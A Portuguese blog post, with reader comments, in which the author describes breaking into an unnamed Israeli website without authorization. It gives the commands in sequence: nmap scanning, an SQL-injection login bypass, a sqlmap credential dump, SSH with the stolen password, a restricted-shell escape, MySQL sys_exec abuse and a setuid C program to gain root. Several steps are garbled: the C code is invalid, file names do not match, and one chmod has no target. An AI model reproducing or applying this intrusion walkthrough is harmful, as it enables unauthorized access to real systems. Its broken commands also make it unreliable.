quinta-feira, 19 de dezembro de 2013

Básico Pentest #1

Estava desocupado sem tendo nada para fazer em casa, decidi invadir algum site 'normal' de israel que o desafio é maior. Nos tutoriais que eu postar aqui não irei revelar o site qual foi.
Fiz um 'privilege escalation' e peguei o root. Vou dizer passo a passo desta diversão que tive.

Começando então, a primeira ferramenta usada é a minha favorita para pegar informação do sistema, o NMAP

root@jihad:~# nmap -T4 -sS -sV -v -Pn 192.168.6.8 
(nisso vou saber os serviços que estão sendo rodados no sistema
obs: este IP é óbvio que não é da web, é apenas um endereço local random que coloquei pra simular o alvo).

Descubro algumas coisas como Apache 2.2.8 e PHP 5.2.4 sendo rodado na porta 80 e uma porta 3306 do MySQL aberta também, mas não consegui a versão, ok, nada que me surpreendeu, fui procurar a pagina de login e tentar um bypass...
login: '-
pass: '
(Em alguns login MySQL esse é um método vulnerável, igualmente a este: http://sqlzoo.net/hack/passwd.pl)

Mas como é website de Israel, saberia que não entraria, mas...
fiquei surpreso com o que retornou pra mim, um erro de 'syntax SQL', agora já até manja o que eu vou fazer né? Inseri a aspa em ambos 'form' e na senha tive um Erro SQL, tudo bem, escrevi qualquer coisa no usuario e coloquei uma aspa no campo de senha, resultou como erro... agora a única coisa que preciso é da data, poderia aperta F12 e ver o nome dos forms, mas fiquei com preguiça e abri o HTTP LIVE HEADER (um add-on do Firefox) para copiar o conteúdo 'POST' e assim combinar com o parametro data do SQLMAP.

O comando que utilizei no SQLMAP foi o seguinte:
root@jihad:~# sqlmap -u 192.168.6.8/v2/admin/login.php --data="user=any&pass=%27&submit=login" --risk=4 --level=5 --dbs --dbms=mysql

Quando o SQLMAP listou as tabelas, tive uma tabela que me interessou, a tabela onde contém as informações de login e passwords, logo então fiz um dump nela e fui tentar uma conexão SSH.

root@jihad:~# ssh everton@192.168.6.8
everton@192.168.6.8's password: <aqui é óbvio que é digitado a senha que encontrei na coluna que fiz o dump>
logo em seguinda...

Type '?' or 'help' to get the list of allowed commands
everton:~$

Esse usuário é um Administrador mas não com os privilegios que eu estava esperando ter :( Nenhum comando que eu necessitava executar eu tinha acesso, apenas dava para ser executado "echo, ls, help, exit, cd e clear". Única ideia que tive foi tentar pegar o terminal atrávez do comando 'echo'.
everton:~$ echo os.system('/bin/bash')
everton@target:~$ id
everton@target:~$ uid=1002(everton) gid=1002(everton) groups=1002(robert)

Ok, tenho agora o bin/bash mas os privilegios são bem limitados. Fui em busca de alguns aplicativos sendo rodados com o privilegio 'root'.

everton@target:~$ ps aux | grep root

Observo uma lista enorme de aplicativos sendo rodados como privilegios root, um deles é o MySQL
root          5022          0.0   1.5  126876   16012   ?          S\     05:40     0:00   /usr/sbin/mysqld

Ao conectar ao MySQL, rapidamente listei os conteúdos de /etc/passwd para /tmp/slayered, liberei o acesso para o usuário 'everton' no qual foi pwned! e fechei.
mysql > select sys_exec('cat /etc/passwd > /tmp/passwd; chown everton /tmp/slayered');
mysql > \q
Bye
everton@target:~$ cat /tmp/slayered

Agora sim :-) Está na hora de Privilege Escalation de everton para o root.
Para isso eu tive que criar um mini-exploit em C em um novo terminal, compilar normalmente e executar

int main(){
set resuid(0,0,0);
set resgid(0,0,0);
system('/bin/bash');
return 0;
}

Voltei para o terminal do usuário pwned! Conectei a minha máquina com o servidor alvo para transferir meu exploit.
everton@target:~$ scp root@192.168.6.8:slayered slayered

(slayered: é o nome do exploit criado)
(scp: quer dizer secure copy)

Novamente conectando ao MySQL como root, irei fazer a elevação de privilegios com o chown e fechar.
mysql > select sys_exec('chown root.root /tmp/slayered; chmod +s,a+rwx');
mysql > \q
everton@target:~$ cd tmp
everton@target:~$ ./exploit
root@target:~# id
uid=0(root) gid=0(root) groups=1002(everton)
root@target:~#

usuário ROOT pwned! :-)

8 comentários:

  1. Será que invadiu msm ou retirou isso de uma fonte tipo esec...?

    ResponderExcluir
    Respostas
    1. kkkkkkkkkk não man, foi invadido mesmo.
      o esec está se referindo ao eSecurity? único web que segurança da informação BR que eu acompanho é 100Security.
      Não tenho porque mentir, qualquer coisa tirada de outros websites deixarei referência.

      Excluir
  2. Você ganhou root na máquina duas vezes ? :S Pelo mini exploit e pelo mysql ? Não entendi muito bem essa parte...Se você já era root no sistema rodando o local ( mini exploit ) . Porque você o usou mysql para rodar o chown ?

    Obrigado, espero sua resposta, fiquei curioso ...

    ResponderExcluir
    Respostas
    1. Não mano.
      No mysql eu não tive privilegio necessário, então criei o mini-exploit e passei para o server, usei o comando 'chown' para alterar as permissões, executei o mini-exploit e consegui o root.

      qualquer dúvida só perguntar aí :-)

      Excluir
  3. Obrigado SLAYER, agora ficou claro !

    Abraços.... ;)

    ResponderExcluir
  4. Muito bom mesmo slayer, obrigado por compartilhar!

    ResponderExcluir